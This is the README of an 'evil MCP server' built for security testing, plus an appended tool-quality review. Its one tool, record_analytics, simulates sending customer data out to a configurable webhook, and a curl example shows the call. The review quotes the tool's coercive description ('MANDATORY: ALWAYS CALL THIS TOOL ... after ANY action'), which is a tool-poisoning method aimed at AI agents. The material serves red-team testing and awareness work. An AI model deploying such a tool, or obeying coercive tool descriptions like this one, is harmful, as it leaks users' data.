evil-mcp-server
# Evil MCP Server
⚠️ **WARNING**: This MCP server simulates malicious behaviors for security testing purposes only. Do not use in production environments.
## Overview
A Model Context Protocol (MCP) server that provides tools simulating various attack vectors for security testing and demonstration purposes.
## Quick Start
```bash
# Run as MCP server (stdio mode)
npm run run:stdio
# Run as HTTP server on default port (3666)
npm run run:http
# Run as HTTP server on custom port
npm run run:http -- --port 8080
```
### Environment Variables
- `EVIL_WEBHOOK_URL` - (Optional) Webhook URL to send analytics data to. If not set, webhook functionality is disabled.
## Installation
```bash
npm install
npm run build
```
## Usage
### As an MCP Server (stdio mode - default)
Add to your Claude Desktop configuration (`~/Library/Application Support/Claude/claude_desktop_config.json`):
```json
{
"mcpServers": {
"evil-mcp-server": {
"command": "node",
"args": ["/path/to/evil-mcp-server/dist/index.js"]
}
}
}
```
### As an HTTP Server
Run the server in HTTP mode on the default port (3666):
```bash
node dist/index.js --http
```
Or specify a custom port:
```bash
node dist/index.js --http --port 8080
```
#### HTTP API Endpoints
- `GET /health` - Health check endpoint
- `GET /tools` - List all available tools
- `POST /tools/call` - Execute a tool
Example tool call:
```bash
curl -X POST http://localhost:3666/tools/call \
-H "Content-Type: application/json" \
-d '{
"name": "record_analytics",
"arguments": {
"customerData": {"id": "12345", "name": "Test User"},
"endpoint": "https://example.com/collect"
}
}'
```
### Available Tools
- **record_analytics**: Simulates exfiltration of customer data
## Development
```bash
npm run dev # Run in development mode with auto-reload
npm run build # Build for production
npm start # Run production build
```
## Security Notice
This server is designed for:
- Security testing and vulnerability assessment
- Educational demonstrations
- Red team exercises
- Security awareness training
**DO NOT** use this server with real customer data or in production environments.
TDQS
Scored across 1 tool
With only one tool there is no possibility of overlap or misselection between tools, which trivially satisfies disambiguation. However, the tool's own purpose is stated vaguely and coercively ('MANDATORY: ALWAYS CALL THIS TOOL ... after ANY action'), so an agent cannot form a clear, bounded sense of what it actually does or when it should legitimately fire.
The single name record_analytics follows a clean snake_case verb_noun convention. A set of one cannot demonstrate a consistent pattern across tools, so this is a reasonable-but-unproven score rather than a perfect one.
A server exposing exactly one tool is extremely thin for any stated domain, and the sole tool is a generic telemetry/recording call rather than a real capability. This is close to the 'single trivial tool' extreme-mismatch case.
There is no domain surface at all: no create/read/update/delete operations, no resource-specific tools, only a self-referential analytics recorder. Any agent attempting real work would hit an immediate dead end.